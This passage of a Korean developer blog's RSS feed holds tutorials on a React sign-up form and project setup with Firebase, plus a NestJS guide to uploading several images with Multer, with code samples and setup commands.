                                disabled={email.length !== 0 &amp;&amp; displayName?.length !== 0 &amp;&amp; password.length !== 0 ? false : true}&gt;
                            Sign Up
                        &lt;/Button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/article&gt;
    &lt;/UserForm&gt;
}</code></pre>
</br>

<hr>
</br>

<h3 id="66-전체코드">6.6 전체코드</h3>
<pre><code class="language-javascript">import React, {ChangeEvent, useState} from &quot;react&quot;;
import {useNavigate} from &#39;react-router-dom&#39;
import moment from &quot;moment&quot;;

// FIREBASE
import {firebaseAuth, fireStoreJob} from &quot;../initFirebase&quot;;
import {createUserWithEmailAndPassword} from &quot;firebase/auth&quot;;
import {collection, addDoc} from &quot;firebase/firestore&quot;;

// INTERFACE
import {UserInputInterface} from &quot;../interfaces/user.interface&quot;;

// CSS
import {UserForm} from &quot;../styles/userForm.styled&quot;;
import {Button, TextField} from &quot;@mui/material&quot;;


export const SignUp = () =&gt; {
    const firestore_path = &#39;users&#39;;
    const navigate = useNavigate();
    const [inputs, setInputs] = useState&lt;UserInputInterface&gt;({
        email: &quot;&quot;,
        displayName: &quot;&quot;,
        password: &quot;&quot;
    });

    const {email, displayName, password} = inputs;

    const onChange = (e: ChangeEvent&lt;HTMLInputElement&gt;): void =&gt; {
        const {name, value} = e.currentTarget;
        setInputs({...inputs, [name]: value});
    }

    const onSubmit = async (e: ChangeEvent&lt;HTMLFormElement&gt;) =&gt; {
        e.preventDefault();
        await createUserWithEmailAndPassword(firebaseAuth, email, password)
            .then(async (userCredential) =&gt; {
                const user = userCredential.user;
                console.log(user)
                await addDoc(collection(fireStoreJob, firestore_path), {
                    uid: user.uid,
                    ...inputs,
                    date_created: moment().utc().format()
                })
                navigate(&quot;/login&quot;);

            })
            .catch((error) =&gt; {
                const errorCode = error.code;
                const errorMessage = error.message;
                console.warn(`${errorCode} - ${errorMessage}`)
            })
    }

    return &lt;UserForm&gt;
        &lt;div className={&#39;doc-title&#39;}&gt;
            &lt;span&gt;TODO LIST&lt;/span&gt;
        &lt;/div&gt;
        &lt;article className={&#39;user-form-article&#39;}&gt;
            &lt;div className={&#39;user-form-wrap&#39;}&gt;
                &lt;div className={&#39;user-form&#39;}&gt;
                    &lt;form onSubmit={onSubmit}&gt;
                        &lt;TextField label=&quot;email&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={email} name={&#39;email&#39;} type={&#39;email&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;displayName&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={displayName} name={&#39;displayName&#39;} type={&#39;text&#39;}
                                   required/&gt;
                        &lt;TextField label=&quot;password&quot; variant=&quot;outlined&quot;
                                   onChange={onChange} value={password} name={&#39;password&#39;} type={&#39;password&#39;}
                                   required/&gt;
                        &lt;Button variant={&#39;contained&#39;} type={&quot;submit&quot;}
                                disabled={email.length !== 0 &amp;&amp; displayName?.length !== 0 &amp;&amp; password.length !== 0 ? false : true}&gt;
                            Sign Up
                        &lt;/Button&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/article&gt;
    &lt;/UserForm&gt;
}</code></pre>
</br>


<h3 id="67-firebase-확인">6.7 firebase 확인</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/f165d999-d0ad-471a-887f-5608fe93ff38/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/3404b465-05ef-44c1-8cab-2047dd59e6f4/image.png" alt=""></p>
<p>firebase에 방금 입력한 내용이 저장된 것을 확인할 수 있습니다. </p>
</br>

<hr>
</br>

<h3 id="관련-firebase-doc">관련 firebase doc</h3>
<ul>
<li><a href="https://firebase.google.com/docs/auth/web/password-auth">https://firebase.google.com/docs/auth/web/password-auth</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] TODO LIST 만들기 (1) - 프로젝트 생성 및 Firebase 설정]]></title>
            <link>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-1-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%83%9D%EC%84%B1-%EB%B0%8F-Firebase-%EC%84%A4%EC%A0%95</link>
            <guid>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-1-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%83%9D%EC%84%B1-%EB%B0%8F-Firebase-%EC%84%A4%EC%A0%95</guid>
            <pubDate>Sun, 20 Nov 2022 01:17:45 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기-전">1. 들어가기 전</h2>
<p>처음에 리액트를 공부했을 때 Todo-list 프로그램을 만든 적이 있습니다. 
그때는 데이터베이스 없이 로컬스토리지에 저장하여 Todo 리스트를 만들었는데, 
이번에는 한 단계 올려서 firebase 를 사용하여 Todo-list 프로그램을 만들어보고자 합니다. </p>
</br>

<h2 id="2-목표">2. 목표</h2>
<blockquote>
<ul>
<li>프로젝트를 생성한다. </li>
</ul>
</blockquote>
<ul>
<li>프로젝트에 Firebase를 사용할 수 있도록 준비한다.</li>
</ul>
</br>

<h2 id="3-프로젝트-생성">3. 프로젝트 생성</h2>
<pre><code>npx create-react-app react-todo-list --template typescript</code></pre></br>

<h2 id="4-필요한-패키지-설치">4. 필요한 패키지 설치</h2>
<pre><code>npm install moment
npm install firebase</code></pre></br>

<h2 id="5-firebase-설치">5. Firebase 설치</h2>
<h3 id="51-firebase-접속">5.1 Firebase 접속</h3>
<p><a href="https://firebase.google.com/?hl=ko">https://firebase.google.com/?hl=ko</a></p>
</br>


<h3 id="52-프로젝트-추가-클릭">5.2 프로젝트 추가 클릭</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/9dbc9d56-9ef1-43e0-9a4e-81180213b2b1/image.png" alt=""></p>
</br>

<h3 id="53-프로젝트-만들기">5.3 프로젝트 만들기</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/6a989d1e-d444-408b-a784-4aa632aaa932/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/d1b2b8ab-2549-4ed5-aaea-f23ecc44207e/image.png" alt=""></p>
</br>

<h3 id="54-authentication-설정">5.4 Authentication 설정</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/b453de7b-2576-4a55-b990-471720cb1d81/image.png" alt=""></p>
</br>

<h3 id="55-authentication-시작하기">5.5 Authentication 시작하기</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/64fbcdc7-2033-4744-842e-35ed882ed7ee/image.png" alt=""></p>
</br>

<h3 id="56-기본-제공업체--이메일비밀번호-클릭">5.6 기본 제공업체 &gt; 이메일/비밀번호 클릭</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/5aebe2c4-d432-49d0-bae8-43b07f766391/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/946a0174-41ed-4251-828b-99860fd27a7b/image.png" alt=""></p>
</br>

<h3 id="57-완료-후-새-제공업체-추가-클릭--google-추가">5.7 완료 후 새 제공업체 추가 클릭 &gt; Google 추가</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/52168722-5196-4207-9355-f6b848b755b1/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/2ec459a1-bf92-4836-9063-92153b1dedbf/image.png" alt=""></p>
<h3 id="58-로그인-정보-제공-확인">5.8 로그인 정보 제공 확인</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/300ab258-326f-4f64-bb0a-3d42565a1ce8/image.png" alt=""></p>
<h3 id="59-firebase-app-설정">5.9 Firebase APP 설정</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/e524009d-292d-49c4-8c03-6795ffe4598a/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/f8cd05c7-b850-44eb-818c-8e8bcb98fcb6/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/10272266-f181-4d72-be32-5a1d4ee33bf5/image.png" alt=""></p>
<h3 id="510-configue-확인">5.10 configue 확인</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/a0cff905-5550-4aff-95db-3624784ef8fa/image.png" alt=""></p>
<h3 id="511-firestore-설치">5.11 Firestore 설치</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/c6c94b02-4a0d-4202-9e06-24ffdeb2dee0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/e6dc09ad-e416-4684-9870-5ccb7f913c59/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/3e281214-d01f-4633-b06f-45146bfc5297/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/5224438c-0b9a-43ef-a41e-601d1a08d40e/image.png" alt=""></p>
<blockquote>
<p>💡 Cloud Firestore 위치 : <strong>asia-northeast3 (Seoul)</strong></p>
</blockquote>
</br>

<h2 id="6-env-파일-작성">6. <code>.env</code> 파일 작성</h2>
<h3 id="61-root에-env-파일-만들기">6.1 root에 .env 파일 만들기</h3>
<h4 id="env">.env</h4>
<pre><code>REACT_APP_FIREBASE_API_KEY=Your Config info
REACT_APP_FIREBASE_AUTH_DOMAIN=Your Config info
REACT_APP_FIREBASE_PROJECTID=Your Config info
REACT_APP_FIREBASE_STORAGEBUCKET=Your Config info
REACT_APP_FIREBASE_MESSAGING_SENDER_ID=Your Config info
REACT_APP_FIREBASE_APP_ID=Your Config info</code></pre><blockquote>
<p>💡 리액트에서 .env 변수를 사용하기 위해서 <strong>REACT_APP</strong> 을 앞에 붙여줘야 합니다.</p>
</blockquote>
</br>

<h3 id="62-gitignore-에-env-추가">6.2 .gitignore 에 .env 추가</h3>
</br>

<h3 id="63-srcinitfirebasets-생성">6.3 src/initFirebase.ts 생성</h3>
<h4 id="srcinitfirebasets">src/initFirebase.ts</h4>
<pre><code class="language-typescript">import {initializeApp} from &quot;firebase/app&quot;;
import {getAuth} from &quot;firebase/auth&quot;;
import {getFirestore} from &quot;firebase/firestore&quot;;


const firebaseConfig = {
    apiKey: process.env.REACT_APP_FIREBASE_API_KEY,
    authDomain: process.env.REACT_APP_FIREBASE_AUTH_DOMAIN,
    projectId: process.env.REACT_APP_FIREBASE_PROJECTID,
    storageBucket: process.env.REACT_APP_FIREBASE_STORAGEBUCKET,
    messagingSenderId: process.env.REACT_APP_FIREBASE_MESSAGING_SENDER_ID,
    appId: process.env.REACT_APP_FIREBASE_APP_ID
};

const firebaseApp = initializeApp(firebaseConfig);

export const firebaseAuth = getAuth(firebaseApp);
export const fireStoreJob = getFirestore(firebaseApp);</code></pre>
</br>


<hr>
<p>firebase와 관련한 기본 준비를 마쳤습니다. 
다음 포스팅에는 firebase을 통해 회원가입 기능을 만들어보고도록 하겠습니다.  </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[NestJS] Multer을 이용하여 사진 여러 장 업로드하기]]></title>
            <link>https://velog.io/@kylie_03/NestJS-Multer%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-%EC%82%AC%EC%A7%84-%EC%97%AC%EB%9F%AC-%EC%9E%A5-%EC%97%85%EB%A1%9C%EB%93%9C%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/NestJS-Multer%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%98%EC%97%AC-%EC%82%AC%EC%A7%84-%EC%97%AC%EB%9F%AC-%EC%9E%A5-%EC%97%85%EB%A1%9C%EB%93%9C%ED%95%98%EA%B8%B0</guid>
            <pubDate>Thu, 03 Nov 2022 06:44:02 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가기-전">들어가기 전</h2>
<p>이번 포스팅에서는 NestJs에서 <code>multer</code>을 사용하여 이미지 업로드를 해보고자 한다.
</br></p>
<h2 id="1-프로젝트-생성">1. 프로젝트 생성</h2>
<pre><code>$ npm i -g @nestjs/cli
$ nest new file-upload</code></pre></br>


<h2 id="2-관련-폴더-및-파일">2. 관련 폴더 및 파일</h2>
<h3 id="폴더-및-파일-생성">폴더 및 파일 생성</h3>
<pre><code>$ nest g controller file
$ nest g service file
$ nest g module file</code></pre></br>

<h3 id="multer-options-설정하기">Multer options 설정하기</h3>
</br>

<h4 id="패키지-설치">패키지 설치</h4>
<pre><code>$ npm i -D @types/multer</code></pre></br>

<h4 id="srclibmulteroptionsts">src/lib/multerOptions.ts</h4>
<pre><code class="language-javascript">
// 업로드 가능한 확장자 설정
export const imageFileFilter = (req, file, callback) =&gt; {
  if (!file.originalname.match(/\.(jpg|jpeg|png)$/)) {
    return callback(new Error(&quot;Only image files are allowed!&quot;), false);
  }
  callback(null, true);
};

// 파일명 중복을 피하기 위해 파일명 수정
export const editFileName = (req, file, callback) =&gt; {
  const name = file.originalname.split(&quot;.&quot;)[0];
  const fileExtName = file.originalname.slice(((file.originalname.lastIndexOf(&quot;.&quot;) - 1) + 2));
  const time = Date.now();
  const randomName = `${name}-${time}`
  callback(null, `${randomName}.${fileExtName}`);
};</code></pre>
<blockquote>
<p>💡 파일 업로드할 때 필요한 설정이다.
참고로 파일명을  재설정 하는 작업에서 <code>Timestemp</code>로 random 값을 만들었는데 다양한 방법으로 설정해도  상관없다. </p>
</blockquote>
</br>

<h3 id="file-upload-하기-이미지-여러장">File Upload 하기 (이미지 여러장)</h3>
<h4 id="srcfilefilemoudlets">src/file/file.moudle.ts</h4>
<pre><code class="language-javascript">import { Module } from &quot;@nestjs/common&quot;;
import { MulterModule } from &quot;@nestjs/platform-express&quot;;
import { FileController } from &quot;./file.controller&quot;;
import { FileService } from &quot;./file.service&quot;;

@Module({
  imports: [
    MulterModule.register({
      dest: &quot;./upload&quot;
    })
  ],
  controllers: [FileController],
  providers: [FileService]
})
export class FileModule {
}
</code></pre>
<blockquote>
<p>💡 MulterModule.register() improt 하고 업로드할 경로 설정하기</p>
</blockquote>
</br>

<h4 id="srcfilecontrollerts">src/file.controller.ts</h4>
<pre><code class="language-javascript">import {
  Controller, Get, Param,
  Post, Res,
  UploadedFiles,
  UseInterceptors
} from &quot;@nestjs/common&quot;;
import { FileService } from &quot;./file.service&quot;;
import { FilesInterceptor } from &quot;@nestjs/platform-express&quot;;
import { diskStorage } from &quot;multer&quot;;
import { editFileName, imageFileFilter } from &quot;../lib/multerOptions&quot;;


// @ts-ignore
@Controller(&quot;file&quot;)
export class FileController {
  constructor(private readonly fileService: FileService) {
  }

  @Post(&quot;/&quot;)
  // @ts-ignore
  @UseInterceptors(FilesInterceptor(&quot;files&quot;, 5, {
    storage: diskStorage({
      destination: &#39;./upload&#39;,
      filename: editFileName
    }),
    fileFilter: imageFileFilter
  }))
  uploadFile(@UploadedFiles() files: Array&lt;Express.Multer.File&gt;) {
    return this.fileService.uploadFiles(files);
  }

}
</code></pre>
<blockquote>
<p>💡 <code>files</code> 필드명으로 5개까지 업로드 할 수 있도록 설정했다.
<code>filename</code> 과 <code>fileFilter</code> 은 방금 만든 src/lib/multerOptions.ts 에서 import 했다. </p>
</blockquote>
</br>


<h4 id="srcfilefileservicets">src/file/file.service.ts</h4>
<pre><code class="language-javascript">import { Injectable } from &quot;@nestjs/common&quot;;


@Injectable()
export class FileService {
  public uploadFiles(files: Array&lt;Express.Multer.File&gt;) {
    const result = [];

    files.forEach((file) =&gt; {
      const res = {
        originalname: file.originalname,
        filename: file.filename
      };
      result.push(res);
    });

    return result;
  }
}</code></pre>
</br>

<h4 id="srcmaints">src/main.ts</h4>
<pre><code class="language-javascript">import { NestFactory } from &quot;@nestjs/core&quot;;
import { NestExpressApplication } from &quot;@nestjs/platform-express&quot;;
import { join } from &quot;path&quot;;
import { AppModule } from &quot;./app.module&quot;;


async function bootstrap() {
  const app = await NestFactory.create&lt;NestExpressApplication&gt;(
    AppModule
  );

  app.useStaticAssets(join(__dirname, &quot;..&quot;, &quot;upload&quot;));
  await app.listen(9001).then(() =&gt; {
    console.log(`http://localhost:9001`);
  });
}

bootstrap();
</code></pre>
<blockquote>
<p>💡 정적 파일 경로 설정해주기</p>
</blockquote>
</br>

<h2 id="3-postman">3. Postman</h2>
</br>

<h3 id="파일-업로드-하기">파일 업로드 하기</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/f25ad01f-94f9-42a4-95e3-b46085545743/image.png" alt=""></p>
</br>

<h4 id="upload-폴더-확인">upload 폴더 확인</h4>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/f238e564-0647-4c5a-955e-8990c5dd082c/image.png" alt=""></p>
</br>

<h3 id="파일-찾기">파일 찾기</h3>
<h4 id="srcfilefilecontrollerts">src/file/file.controller.ts</h4>
<pre><code class="language-javascript">// 기존 코드에 추가하기
  @Get(&quot;/:imgpath&quot;)
  seeUploadedFile(@Param(&quot;imgpath&quot;) image, @Res() res) {
    return res.sendFile(image, { root: &quot;./upload&quot; });
  }</code></pre>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/6695eef2-957f-4318-9cba-f9e4523a6139/image.png" alt=""></p>
</br>



<hr>
<p><a href="https://github.com/pearl0304/NestJs-file-uplaod">전체 코드 보기</a></p>
]]></description>
        </item>
    </channel>
</rss>